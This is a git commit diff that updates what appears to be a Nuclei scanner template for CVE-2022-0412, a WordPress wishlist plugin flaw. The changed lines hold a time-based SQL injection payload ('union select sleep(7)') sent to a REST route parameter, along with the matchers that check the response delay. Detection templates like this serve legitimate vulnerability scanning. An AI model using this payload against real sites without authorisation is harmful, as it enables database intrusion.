Update CVE-2022-0412.yaml

patch-1
J4vaovo 2024-02-06 23:37:39 +08:00 committed by GitHub
parent baa1acee95
commit 447203ed6d
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 4 additions and 4 deletions

View File

@ -35,15 +35,15 @@ info:
http:
- raw:
- |
@timeout: 10s
GET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(5)%20--%20g HTTP/1.1
@timeout: 15s
GET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(7)%20--%20g HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=5'
- 'duration>=7'
- type: word
part: body
@ -53,4 +53,4 @@ http:
- type: status
status:
- 400
# digest: 4a0a0047304502200c458fd9388079dee3d545abd394000a13dfc27419a1ce8c3c6a7f6ef65f5e53022100c261a78455f8012d84bdb99eceed3b8aa716020ba3c18fb549d9e3bbc5ba60e7:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502200c458fd9388079dee3d545abd394000a13dfc27419a1ce8c3c6a7f6ef65f5e53022100c261a78455f8012d84bdb99eceed3b8aa716020ba3c18fb549d9e3bbc5ba60e7:922c64590222798bb761d5b6d8e72950